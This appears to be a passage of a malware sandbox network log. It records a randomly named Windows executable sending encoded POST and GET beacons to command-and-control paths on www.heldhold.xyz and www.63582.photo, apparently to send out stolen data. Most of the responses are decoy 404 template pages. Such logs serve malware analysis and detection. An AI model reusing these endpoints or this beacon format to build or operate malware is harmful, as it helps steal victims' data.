Sep 25, 2024 12:47:31.831346035 CEST	10868	OUT	POST /fava/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.heldhold.xyz Origin: http://www.heldhold.xyz Content-Length: 10304 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.heldhold.xyz/fava/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 4c 41 72 35 71 39 4c 79 57 75 6f 35 4e 55 70 50 55 41 5a 39 43 76 65 45 63 50 59 67 2b 4c 51 58 47 34 47 52 46 51 42 34 73 6a 46 51 56 55 34 43 59 75 55 78 48 59 62 52 4a 6e 6e 68 6a 6f 77 77 33 4a 30 4e 66 43 77 4c 4a 35 49 4a 30 49 35 51 2f 4f 45 46 55 7a 51 4e 67 35 50 4c 4e 44 4f 62 6a 57 5a 47 6f 67 49 6e 37 45 64 54 49 4e 31 51 4d 5a 71 43 46 36 77 36 78 7a 36 6a 47 50 4a 52 78 63 47 59 66 72 63 36 58 66 58 67 59 4b 30 78 35 78 71 76 43 44 44 42 4f 72 66 36 4b 6c 63 6d 62 38 57 61 76 54 47 55 70 6f 6c 2b 52 2b 55 4e 30 45 43 2f 47 72 63 56 62 5a 75 67 37 35 6c 45 79 51 53 57 5a 59 52 78 47 37 36 75 42 65 70 4b 67 44 6b 4f 69 2f 79 47 2b 4b 7a 2b 32 61 71 2f 72 43 74 4a 39 30 47 65 35 79 51 65 70 76 6e 79 63 39 79 71 51 61 49 76 72 35 37 4e 62 33 65 46 74 34 46 55 65 6b 68 35 4d 50 4d 6d 61 70 63 4d 64 30 6a 4b 42 58 77 4e 66 45 5a 6c 57 46 65 48 39 72 6b 6f 4b 30 41 38 57 6e 48 58 50 45 74 42 59 6a 56 4b 67 76 5a 61 32 47 54 67 57 70 78 4b 4d 70 31 64 48 4f 41 55 70 70 [TRUNCATED] Data Ascii: PR_xXrA=LAr5q9LyWuo5NUpPUAZ9CveEcPYg+LQXG4GRFQB4sjFQVU4CYuUxHYbRJnnhjoww3J0NfCwLJ5IJ0I5Q/OEFUzQNg5PLNDObjWZGogIn7EdTIN1QMZqCF6w6xz6jGPJRxcGYfrc6XfXgYK0x5xqvCDDBOrf6Klcmb8WavTGUpol+R+UN0EC/GrcVbZug75lEyQSWZYRxG76uBepKgDkOi/yG+Kz+2aq/rCtJ90Ge5yQepvnyc9yqQaIvr57Nb3eFt4FUekh5MPMmapcMd0jKBXwNfEZlWFeH9rkoK0A8WnHXPEtBYjVKgvZa2GTgWpxKMp1dHOAUppfkvRo7eoKfLY8t8NLMhxg8dFCmt5JB9hxzAA/4u7/3YloBoLVxPw7IxKP/oOIhSckUrq3OSR059NS25EOLB5LmjR4JQqCXv2303LXeZGE7Pg1i0vHhCLWDWWYnjdPqdSwkZ1frY3E8pgyE+mKc4uRPx4VDocin0sSzwXEK8vz3o6wRiZAuaTcZlaIh++QYVoxuxhlQpw4jQyrWkfh7dLOkFN3DDdakEh8yGE9OYB/+xG1HJd4OEWhM1NlRrcwqg+xVSNEE7l0lp4oX+XqL2/tZqXALX/c7VvPP8l+08U1Q4MMDoOAgqQsoL9IsJFdELiUkDw4m1Mh9exI/pwLIqzfK+cudPcP3ciS33Nc859EogxNrx29EoK9XtDCODnLEHObWRyLbXLnHqWH4MBA0Cyyum/WLaPNR1SPvYQ/RFeIi4/69Y1kyzKWR7EKPyJj3iqwcCvPeI4kD5SxEBA2hjCpwcMH7PcNQoKO/aptffI7HxFkBEa3w6A7UfoM/u3bFHncBF6gklxE8NFOd1QKO1DrHvsFuXgU9kvdjRghGRyh4CZsLYG0mNZU0MXZ3ISGtZtiQ9TfxS0Ao2I21tGNVOYo3vzGiYs1EOU8/bXs+qNGY2usrxMb39BkuuyabWfmw7kDx1QIZv13g/68OjaFmfJwPgt7qCQkfXERI [TRUNCATED]
Sep 25, 2024 12:47:32.412100077 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 10:47:32 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 32106 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Sep 25, 2024 12:47:32.412146091 CEST	1236	IN	Data Raw: 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 Data Ascii: rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL -->
Sep 25, 2024 12:47:32.412180901 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 67 2d 74 72 61 6e 73 70 61 72 65 6e 74 20 74 65 78 74 2d 77 68 69 74 65 22 3e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 Data Ascii: <button type="submit" class="btn bg-transparent text-white"> <i class="fas fa-search"></i> </button> </div> </div> </form> </div> </div>... Loading Screen --><div id="ju-loading-scre
Sep 25, 2024 12:47:32.412214041 CEST	672	IN	Data Raw: 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 65 6e 67 6c 61 6e 64 2e 70 6e 67 22 20 61 6c 74 3d 22 65 6e 67 6c 61 6e 64 20 66 6c 61 67 22 20 63 6c 61 73 73 3d 22 6d 72 2d 31 22 3e 20 45 6e 67 6c 69 73 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: custom/images/england.png" alt="england flag" class="mr-1"> English</a> <a class="dropdown-item white-color font-13 fables-second-hover-color" href="#"> <img src="assets/custom/images/France.png"
Sep 25, 2024 12:47:32.412250042 CEST	1236	IN	Data Raw: 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 74 68 69 72 64 2d 74 65 78 74 2d 63 6f 6c 6f 72 20 66 6f 6e 74 2d 31 33 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 69 63 6f 6e 65 6d 61 69 6c 22 3e 3c 2f 73 Data Ascii: <p class="fables-third-text-color font-13"><span class="fables-iconemail"></span> Email: Design@domain.com</p> </div> </div> </div></div> ... /End Top Header -->... Start Fables Navigation --><
Sep 25, 2024 12:47:32.412281036 CEST	224	IN	Data Raw: 61 62 6c 65 73 2d 6e 61 76 22 3e 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 22 3e 0a Data Ascii: ables-nav"> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="sub-nav1" data-toggle="dropdown" aria-haspopup="true"
Sep 25, 2024 12:47:32.412313938 CEST	1236	IN	Data Raw: 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 48 6f 6d 65 0a 20 20 20 20 20 20 20 20 20 Data Ascii: aria-expanded="false"> Home </a> <ul class="dropdown-menu" aria-labelledby="sub-nav1">
Sep 25, 2024 12:47:32.412348032 CEST	1236	IN	Data Raw: 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 Data Ascii: toggle" href="#">Headers</a> <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Header 1</a>
Sep 25, 2024 12:47:32.412381887 CEST	448	IN	Data Raw: 61 64 65 72 32 2d 74 72 61 6e 73 70 61 72 65 6e 74 2e 68 74 6d 6c 22 3e 48 65 61 64 65 72 20 32 20 54 72 61 6e 73 70 61 72 65 6e 74 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ader2-transparent.html">Header 2 Transparent</a></li> <li><a class="dropdown-item" href="header2-light.html">Header 2 Light</a></li>
Sep 25, 2024 12:47:32.412508011 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 Data Ascii: > <li><a class="dropdown-item dropdown-toggle" href="#">Header 3</a> <ul class="dropdown-menu">
Sep 25, 2024 12:47:32.417418957 CEST	1236	IN	Data Raw: 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 Data Ascii: ></li> <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark</a></li> </ul>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49753	67.223.117.189	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:34.367429972 CEST	508	OUT	GET /fava/?PR_xXrA=GCDZpLqdSYk7fT5CRgwCB4qcStchn8AdfdSMH3wAhEJHSlsoeLITVJbnCwS/lbUV+KMqaRxHJZIr2IJ0lKwQCgtKpqiTYCqf8kUZvClY0WdZB6RiKYyZbbU=&n0=mTk8u4lhzbnhVh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.heldhold.xyz Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 25, 2024 12:47:34.943494081 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 10:47:34 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 32106 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Sep 25, 2024 12:47:34.943531990 CEST	224	IN	Data Raw: 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 Data Ascii: strap.min.css" rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="styles
Sep 25, 2024 12:47:34.943548918 CEST	1236	IN	Data Raw: 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4f 57 4c 20 43 41 52 4f 55 53 45 4c 20 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6f 77 6c 63 61 72 6f 75 73 65 6c 2f 6f 77 6c 2e 63 61 Data Ascii: heet"> ... OWL CAROUSEL --> <link href="assets/vendor/owlcarousel/owl.carousel.min.css" rel="stylesheet"> <link href="assets/vendor/owlcarousel/owl.theme.default.min.css" rel="stylesheet"> ... Timeline --> <link rel="sty
Sep 25, 2024 12:47:34.943564892 CEST	1236	IN	Data Raw: 63 72 65 65 6e 20 2d 2d 3e 0a 3c 64 69 76 20 69 64 3d 22 6a 75 2d 6c 6f 61 64 69 6e 67 2d 73 63 72 65 65 6e 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 2d 64 6f 75 62 6c 65 2d 62 6f 75 6e 63 65 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 Data Ascii: creen --><div id="ju-loading-screen"> <div class="sk-double-bounce"> <div class="sk-child sk-double-bounce1"></div> <div class="sk-child sk-double-bounce2"></div> </div></div>... Start Top Header --><div class="fables-forth-b
Sep 25, 2024 12:47:34.943578959 CEST	1236	IN	Data Raw: 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 46 72 61 6e 63 65 2e 70 6e 67 22 20 61 6c 74 3d 22 65 6e 67 6c 61 6e 64 20 66 6c 61 67 22 20 63 6c 61 73 73 3d 22 6d 72 2d 31 22 3e 20 46 72 65 6e 63 68 3c 2f 61 3e 20 0a 20 20 Data Ascii: ="assets/custom/images/France.png" alt="england flag" class="mr-1"> French</a> </div> </div> </div> <div class="col-12 col-sm-5 col-lg-4 text-right"> <
Sep 25, 2024 12:47:34.943594933 CEST	672	IN	Data Raw: 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 63 6f 6c 6c 61 70 73 65 22 20 64 61 74 61 2d 74 61 72 67 65 74 3d 22 23 66 61 62 6c 65 73 4e 61 76 44 72 6f 70 Data Ascii: ="navbar-toggler" type="button" data-toggle="collapse" data-target="#fablesNavDropdown" aria-controls="fablesNavDropdown" aria-expanded="false" aria-label="Toggle navigation"> <span class="fables-iconmenu-icon t
Sep 25, 2024 12:47:34.943609953 CEST	1236	IN	Data Raw: 68 61 73 70 6f 70 75 70 3d 22 74 72 75 65 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: haspopup="true" aria-expanded="false"> Home </a> <ul class="dropdown-menu" aria-labelledby="sub-nav1">
Sep 25, 2024 12:47:34.943625927 CEST	224	IN	Data Raw: 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -item dropdown-toggle" href="#">Headers</a> <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="
Sep 25, 2024 12:47:34.943639040 CEST	1236	IN	Data Raw: 23 22 3e 48 65 61 64 65 72 20 31 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d Data Ascii: #">Header 1</a> <ul class="dropdown-menu"> <li><a class="dropdown-item" href="header1-transparent.html">Header 1 Transparent</a
Sep 25, 2024 12:47:34.943654060 CEST	224	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 Data Ascii: <li><a class="dropdown-item" href="header2-dark.html">Header 2 Dark</a></li> </ul>
Sep 25, 2024 12:47:34.948719978 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d Data Ascii: </li> <li><a class="dropdown-item dropdown-toggle" href="#">Header 3</a> <ul class="dropdown-menu">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49754	103.248.137.209	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:40.290477991 CEST	763	OUT	POST /5o7d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.63582.photo Origin: http://www.63582.photo Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.63582.photo/5o7d/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 2b 4f 32 78 66 51 56 4c 44 65 57 6a 5a 6b 34 65 2b 4d 76 58 6b 71 6c 63 54 2f 52 76 78 35 33 33 4e 69 4b 35 58 57 35 57 6e 52 38 45 4d 43 63 43 6c 61 6c 63 76 58 6f 62 2b 73 69 72 50 51 47 50 66 43 70 42 74 6f 46 50 54 42 6c 4b 54 62 73 6d 56 65 32 41 78 42 30 63 31 59 71 31 61 6e 79 6b 71 4b 32 37 70 33 61 76 32 2f 56 7a 55 73 58 64 77 75 5a 2b 58 70 38 71 4e 70 75 47 46 57 74 75 62 67 72 57 45 4e 6e 6d 7a 57 4d 63 61 73 4b 56 54 75 4b 4c 33 47 33 2f 39 6f 31 45 56 5a 59 5a 6e 47 50 65 64 46 44 50 7a 34 77 68 77 72 35 51 6a 70 42 41 52 4f 64 2b 49 39 5a 36 57 32 55 55 39 67 3d 3d Data Ascii: PR_xXrA=+O2xfQVLDeWjZk4e+MvXkqlcT/Rvx533NiK5XW5WnR8EMCcClalcvXob+sirPQGPfCpBtoFPTBlKTbsmVe2AxB0c1Yq1anykqK27p3av2/VzUsXdwuZ+Xp8qNpuGFWtubgrWENnmzWMcasKVTuKL3G3/9o1EVZYZnGPedFDPz4whwr5QjpBAROd+I9Z6W2UU9g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49755	103.248.137.209	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:42.846831083 CEST	783	OUT	POST /5o7d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.63582.photo Origin: http://www.63582.photo Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.63582.photo/5o7d/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 2b 4f 32 78 66 51 56 4c 44 65 57 6a 59 45 6f 65 2f 72 44 58 73 71 6c 66 63 66 52 76 2f 70 33 7a 4e 69 4f 35 58 58 39 34 67 6b 4d 45 43 44 73 43 72 37 6c 63 71 58 6f 62 77 4d 69 75 42 77 47 49 66 43 56 7a 74 6f 4a 50 54 46 4e 4b 54 61 63 6d 57 70 43 44 78 52 30 65 36 34 71 33 56 48 79 6b 71 4b 32 37 70 30 6d 46 32 2f 4e 7a 55 64 48 64 78 4d 78 39 61 4a 38 70 64 35 75 47 4f 32 74 69 62 67 72 30 45 49 2f 41 7a 55 30 63 61 70 75 56 51 36 65 49 69 32 33 35 7a 49 31 4b 55 63 6c 54 69 6c 4b 58 44 30 48 76 73 59 45 6a 78 74 6f 4b 79 59 67 58 44 4f 35 4e 56 36 51 4f 62 31 70 64 6d 6d 2b 43 56 47 32 42 78 4b 6f 72 2b 62 76 4b 42 30 2b 51 31 77 59 3d Data Ascii: PR_xXrA=+O2xfQVLDeWjYEoe/rDXsqlfcfRv/p3zNiO5XX94gkMECDsCr7lcqXobwMiuBwGIfCVztoJPTFNKTacmWpCDxR0e64q3VHykqK27p0mF2/NzUdHdxMx9aJ8pd5uGO2tibgr0EI/AzU0capuVQ6eIi235zI1KUclTilKXD0HvsYEjxtoKyYgXDO5NV6QOb1pdmm+CVG2BxKor+bvKB0+Q1wY=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49756	103.248.137.209	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:45.392801046 CEST	10865	OUT	POST /5o7d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.63582.photo Origin: http://www.63582.photo Content-Length: 10304 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.63582.photo/5o7d/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 2b 4f 32 78 66 51 56 4c 44 65 57 6a 59 45 6f 65 2f 72 44 58 73 71 6c 66 63 66 52 76 2f 70 33 7a 4e 69 4f 35 58 58 39 34 67 6b 45 45 43 78 6b 43 72 59 4e 63 74 58 6f 62 75 63 69 76 42 77 47 5a 66 43 4d 36 74 6f 31 66 54 48 46 4b 54 34 55 6d 43 4e 65 44 2b 52 30 65 78 59 71 32 61 6e 7a 6b 71 4a 4f 6e 70 30 32 46 32 2f 4e 7a 55 65 50 64 32 65 5a 39 4a 35 38 71 4e 70 75 42 46 57 74 4f 62 6b 50 4f 45 4a 4c 50 7a 6e 38 63 5a 4a 2b 56 41 63 69 49 67 57 33 37 2b 6f 30 4d 55 63 68 51 69 6d 75 78 44 30 7a 4a 73 62 59 6a 78 4a 52 4a 72 4c 55 32 51 75 78 53 42 37 6f 79 55 57 52 4e 6e 32 65 74 54 55 32 63 73 65 31 48 38 35 2f 48 55 31 36 6b 69 48 62 7a 51 76 68 59 67 4e 46 55 51 58 63 65 58 50 38 39 63 53 68 52 45 6d 6d 33 37 36 66 41 70 51 2b 4b 79 71 49 48 37 72 4f 4c 6a 54 65 58 4e 6c 39 42 6f 57 6e 45 52 75 43 58 5a 71 70 6d 38 6b 62 57 2f 59 4e 71 65 57 70 70 48 55 43 32 7a 39 42 6d 44 33 62 49 49 55 79 59 4d 5a 34 78 77 7a 73 31 50 7a 71 70 59 45 79 76 76 4d 79 62 38 7a 68 72 42 63 [TRUNCATED] Data Ascii: 